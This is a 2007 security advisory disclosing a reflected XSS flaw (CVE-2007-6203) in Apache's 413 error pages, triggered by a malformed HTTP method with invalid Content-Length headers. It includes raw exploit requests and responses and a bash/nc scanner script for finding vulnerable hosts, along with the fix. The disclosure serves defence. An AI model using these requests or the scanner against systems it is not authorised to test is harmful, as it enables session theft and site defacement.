by

XSS on Apache HTTP Server 413 error pages via malformed HTTP method

Vulnerability found:
07 November 2007

Vendor informed:
14 November 2007

Severity level:
N/A The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to submit a malformed HTTP method. Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins. A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4]. However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.

Credits:
Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com). Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.

Description:

It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:

Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"
One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"
One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"
One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"

Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors:

The 'Host:' header
The URL
The HTTP method

If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S REPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at &lt;badchars&gt; Port 80</address>
</body></html>

Notice that '<BADCHARS>' gets replaced with '&lt;badchars&gt;'

 


If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:

REQUEST:

GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/&lt;BADCHARS&gt;/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>

Again, '<BADCHARS>' gets replaced with '&lt;badchars&gt;'

However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:

REQUEST:

<BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]

SERVER'S RESPONSE:

HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>

Consequences
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method.

BID
26663

CVE reference
CVE-2007-6203
Proof of concept:
The following script could be used to audit your network for vulnerable web servers:

#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
echo "$0 <hosts-file>"
exit
fi

for i in `cat $1`
do

if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '<PROCHECKUP>' > /dev/null
then
echo "$i is VULNERABLE!"
fi

done
How to fix:
Disable Apache's default 413 error pages by adding a 'ErrorDocument 413' statement to the Apache config file.
Alternatively, Apache updates fix this vulnerability.
References:
http://www.procheckup.com/vulnerability_manager

[1] "Forging HTTP request headers with Flash"
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html

[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"
http://download2.rapid7.com/r7-0026/

[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
http://www.securityfocus.com/archive/1/433280

[4] "More Expect Exploitation In Flash"
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/
Legal:
Copyright 2007 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community
for the purpose of alerting them to problems, if and only if, the Bulletin is not edited
or changed in any way, is attributed to Procheckup, and provided such reproduction and/or
distribution is performed for non-commercial purposes.


Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.

Back to Vulnerabilities List